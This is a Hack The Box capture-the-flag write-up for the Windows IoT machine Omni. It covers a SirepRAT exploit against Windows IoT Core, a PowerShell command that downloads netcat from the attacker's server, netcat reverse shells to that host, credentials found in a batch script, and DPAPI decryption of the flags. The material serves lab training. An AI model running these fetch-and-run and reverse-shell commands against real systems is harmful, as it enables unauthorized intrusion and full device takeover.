Hack The Box - Omni Writeup
Omni is an easy Windows IoT box by egre55.
Overview
The box starts with web-enumeration, where the authorization-prompt leaks information about the service we use to identify the OS-type (Windows IoT). Searching for an exploit, we find a RCE for the Windows IoT Core that we exploit to get a shell as a low-privilege user. Searching through the FS, we find a batch-script containing credentials for both user and administrator.
Using the credentials we can login to WDP (Windows Device Portal), which allows us to run commands in the context of that user. Using this feature, we can get a reverse-shell as user. This allows us to use PowerShell’s DPAPI command Import-CliXML to decrypt the encrypted user.txt flag.
In order to get root.txt, we simply repeat the steps of the previous paragraph (WDP login, command-execution and root.txt decryption.).
Information Gathering
Nmap
We begin our enumeration with a nmap scan for open ports.
root@darkness:~# nmap -sC -sV 10.10.10.204
Nmap scan report for 10.10.10.204
Host is up (0.17s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
8080/tcp open upnp Microsoft IIS httpd
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Windows Device Portal
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Site doesn't have a title.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Enumeration
The open ports shown are 135 (msrpc) and 8080 (http). MSRPC usually is not that interesting, so let enumerate port 8080.
HTTP - Port 8080
Going to http://10.10.10.204:8080, we get presented following auth-prompt.
We now know that port 8080 is running Windows Device Portal (WDP)
. Let us use google to research Windows Device Portal
.
Windows Device Portal enumeration
A google-search for Windows Device Portal
lists two interesting microsoft docs:
Clicking on the first page, we can find a specification of WDP running in different installations.
As WDP is running on port 8080 on the target machine, we can assume that the device family is Windows IoT. Let us look for any publicly known exploits for WDP.
Searching for an exploit, SirepRAT (which is a RCE on Windows IoT Core) shows up as a result. As the target-system is probably running Windows IoT, this exploit is worth trying.
RCE on Windows IoT Core using SirepRAT
We can clone the repository and the tool using the instructions on the GitHub page.
Verifying code-execution
Let us run the exploit with the -h
options to see how to use it.
root@darkness:~/SirepRAT# python3 SirepRAT.py -h
usage: SirepRAT.py target_device_ip command_type [options]
Exploit Windows IoT Core's Sirep service to execute remote commands on the device
positional arguments:
target_device_ip The IP address of the target IoT Core device
command_type The Sirep command to use. Available commands are listed below
optional arguments:
-h, --help show this help message and exit
--return_output Set to have the target device return the command output stream
--cmd CMD Program path to execute
--as_logged_on_user Set to impersonate currently logged on user on the target device
--args ARGS Arguments string for the program
--base_directory BASE_DIRECTORY
The working directory from which to run the desired program
--remote_path REMOTE_PATH
Path on target device
--data DATA Data string to write to file
--v Verbose - if printable, print result
--vv Very verbose - print socket buffers and more
available commands:
* LaunchCommandWithOutput
* PutFileOnDevice
* GetFileFromDevice
* GetFileInformationFromDevice
* GetSystemInformationFromDevice
remarks:
- Use moustaches to wrap remote environment variables to expand (e.g. )
Usage example: python SirepRAT.py 192.168.3.17 GetFileFromDevice --remote_path C:\Windows\System32\hostname.exe
Seems like we are able to read & write files, execute commands and get system-information using the exploit. Let us verify code-execution by listening for ICMP-packets and using the code-execution to trigger a ping-request.
root@darkness:~/SirepRAT# python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --cmd "C:\Windows\System32\ping.exe" --args "-n 2 10.10.14.11" --return_output --v
---------
---------
---------
Pinging 10.10.14.11 with 32 bytes of data:
Reply from 10.10.14.11: bytes=32 time=230ms TTL=63
---------
---------
Reply from 10.10.14.11: bytes=32 time=367ms TTL=63
Ping statistics for 10.10.14.11:
Packets: Sent = 2, Received = 2, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 230ms, Maximum = 367ms, Average = 298ms
---------
---------
---------
<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<OutputStreamResult | type: 11, payload length: 98, payload peek: 'b'\r\nPinging 10.10.14.11 with 32 bytes of data:\r\nRepl''>
<OutputStreamResult | type: 11, payload length: 249, payload peek: 'b'Reply from 10.10.14.11: bytes=32 time=367ms TTL=63''>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: 'b'\x00\x00\x00\x00''>
The command executes successfully and we get a ping-response.
root@darkness:~# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
13:29:40.828383 IP 10.10.10.204 > 10.10.14.11: ICMP echo request, id 1, seq 2740, length 40
13:29:40.828425 IP 10.10.14.11 > 10.10.10.204: ICMP echo reply, id 1, seq 2740, length 40
13:29:41.988513 IP 10.10.10.204 > 10.10.14.11: ICMP echo request, id 1, seq 2743, length 40
13:29:41.988557 IP 10.10.14.11 > 10.10.10.204: ICMP echo reply, id 1, seq 2743, length 40
Getting a shell
Now that we have successfully verified code-execution, let us try to get a reverse-shell.
For this we will have two stages:
- Downloading nc64.exe from our web-server
root@darkness:~# python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell IWR -uri http://10.10.14.11/nc64.exe -o C:\Windows\System32\spool\drivers\color\nc.exe"
We download nc64.exe to C:\Windows\System32\spool\drivers\color\
(which is a location whitelisted to allow binary-execution by default [related article]).
root@darkness:/usr/share/windows-binaries# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.204 - - [08/Jan/2021 13:45:46] "GET /nc64.exe HTTP/1.1" 200 -
The target successfully grabs nc64.exe for our webserver.
- Executing nc.exe and getting a reverse-shell
root@darkness:~/SirepRAT# python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\Windows\System32\spool\drivers\color\nc.exe 10.10.14.11 443 -e powershell.exe"
We execute nc.exe to send a reverse-shell to our machine.
root@darkness:~# nc -lvnp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.204.
Ncat: Connection from 10.10.10.204:49672.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\windows\system32>
We successfully execute the payload and get a reverse-shell in return. Let us check, which user we currently are using powershell (whoami is not available on Windows IoT by default).
PS C:\windows\system32> $env:UserName
omni$
Seems like we have a shell as the user omni
.
Enumerating the system
Let us enumerate the system and find all necessary information. Let us start by searching for the Users directory.
PS C:\Data\Users> dir
Directory: C:\Data\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/4/2020 9:48 PM administrator
d----- 7/4/2020 9:53 PM app
d----- 7/3/2020 11:22 PM DefaultAccount
d----- 7/3/2020 11:22 PM DevToolsUser
d-r--- 8/21/2020 1:55 PM Public
d----- 7/4/2020 10:29 PM System
The users directory can be found at C:\Data\Users
.
PS C:\Data\Users\app> dir
Directory: C:\Data\Users\app
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 7/4/2020 7:28 PM 3D Objects
d-r--- 7/4/2020 7:28 PM Documents
d-r--- 7/4/2020 7:28 PM Downloads
d----- 7/4/2020 7:28 PM Favorites
d-r--- 7/4/2020 7:28 PM Music
d-r--- 7/4/2020 7:28 PM Pictures
d-r--- 7/4/2020 7:28 PM Videos
-ar--- 7/4/2020 8:20 PM 344 hardening.txt
-ar--- 7/4/2020 8:14 PM 1858 iot-admin.xml
-ar--- 7/4/2020 9:53 PM 1958 user.txt
The directory of the user app
contains both user.txt and two interesting files: hardening.txt
and iot-admin.xml
. Let us read those files.
PS C:\Data\Users\app> type hardening.txt
type : Access to the path 'C:\Data\Users\app\hardening.txt' is denied.
At line:1 char:1
+ type hardening.txt
+ ~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (C:\Data\Users\app\hardening.t
xt:String) [Get-Content], UnauthorizedAccessException
+ FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsof
t.PowerShell.Commands.GetContentCommand
We do not have access to hardening.txt.
PS C:\Data\Users\app> type iot-admin.xml
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">omni\administrator</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa28853640000000002000000000010660000000100002000000000855856bea37267a6f9b37f9ebad14e910d62feb252fdc98a48634d18ae4ebe000000000e80000000020000200000000648cd59a0cc43932e3382b5197a1928ce91e87321c0d3d785232371222f554830000000b6205d1abb57026bc339694e42094fd7ad366fe93cbdf1c8c8e72949f56d7e84e40b92e90df02d635088d789ae52c0d640000000403cfe531963fc59aa5e15115091f6daf994d1afb3c2643c945f2f4b8f15859703650f2747a60cf9e70b56b91cebfab773d0ca89a57553ea1040af3ea3085c27</SS>
</Props>
</Obj>
</Objs>
PS C:\Data\Users\app> type user.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">flag</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS>
</Props>
</Obj>
</Objs>
Both iot-admin.xml and user.txt seem to be encrypted. Let us search the system for credentials.
Finding credentials
After a lot of searching, I eventually came across r.bat
:
PS C:\Program Files\WindowsPowerShell\Modules\PackageManagement> dir -hidden
Directory: C:\Program Files\WindowsPowerShell\Modules\PackageManagement
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-h-- 8/21/2020 12:56 PM 247 r.bat
Let us take a look at this batch script.
PS C:\Program Files\WindowsPowerShell\Modules\PackageManagement> type r.bat
@echo off
:LOOP
for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete
net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz
ping -n 3 127.0.0.1
cls
GOTO :LOOP
:EXIT
The script contains credentials for both the user app
(mesh5143
) and administrator
(_1nt3rn37ofTh1nGz
). With the auth-prompt from the beginning of our enumeration in mind, let us try these credentials.
Logging in to WDP
Let us try both app and administrator user.
We successfully login and now have access to the WDP web-interface.
In the Processes
tab, we can selected the Run command option
. We can execute the same payload we used for our reverse-shell to get a shell as the user app
.
root@darkness:~# nc -lvnp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.204.
Ncat: Connection from 10.10.10.204:49673.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\windows\system32> $env:UserName
app
We successfully get a reverse-shell as the user app
. We should now be able to read hardening.txt
.
PS C:\Data\Users\App> type hardening.txt
- changed default administrator password of "p@ssw0rd"
- added firewall rules to restrict unnecessary services
- removed administrator account from "Ssh Users" group
Let us also now try to decrypt iot-admin.xml
and user.txt
.
Decrypting the xml files
Using google we can search for the decryption-type by simply searching for the first part of the file. (Google-search)
PS C:\Data\Users\App> type user.txt
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
[...]
The search leads us to this article, explaining that the files are decrypted using PowerShell’s DPAPI (data protection API). Luckily decrypting is made rather easy using the Import-CliXML
command.
PS C:\Data\Users\App> $cred = Import-CliXML -path C:\Data\Users\App\user.txt
PS C:\Data\Users\App> $cred.GetNetworkCredential().password
7cfd5***************************
We successfully decrypt user.txt and can read the flag.
Let us also read iot-admin.xml:
PS C:\Data\Users\App> $cred = Import-CliXML -path C:\Data\Users\App\iot-admin.xml
PS C:\Data\Users\App> $cred.GetNetworkCredential().password
_1nt3rn37ofTh1nGz
We get the password of the admin user. However, as we already know the password from the r.bat
file, this is no new information for us.
Getting root-shell
In order to get root (and root.txt), we simply redo our previous steps with the admin user instead of the app user.
WDP login as administrator
First, we login to WDP using the credentials of the administrator.
After successful login, we execute our reverse-shell payload.
root@darkness:~# nc -lvnp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.204.
Ncat: Connection from 10.10.10.204:49675.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\windows\system32> $env:UserName
Administrator
We successfully get a shell as administrator.
Decrypting root.txt
After getting a shell, we have to repeat the xml-decryption step to get root.txt.
PS C:\Data\Users\administrator> $cred = Import-CliXML -path C:\Data\Users\administrator\root.txt
PS C:\Data\Users\administrator> $cred.GetNetworkCredential().password
5dbdc***************************
We successfully decrypted root.txt and get the flag.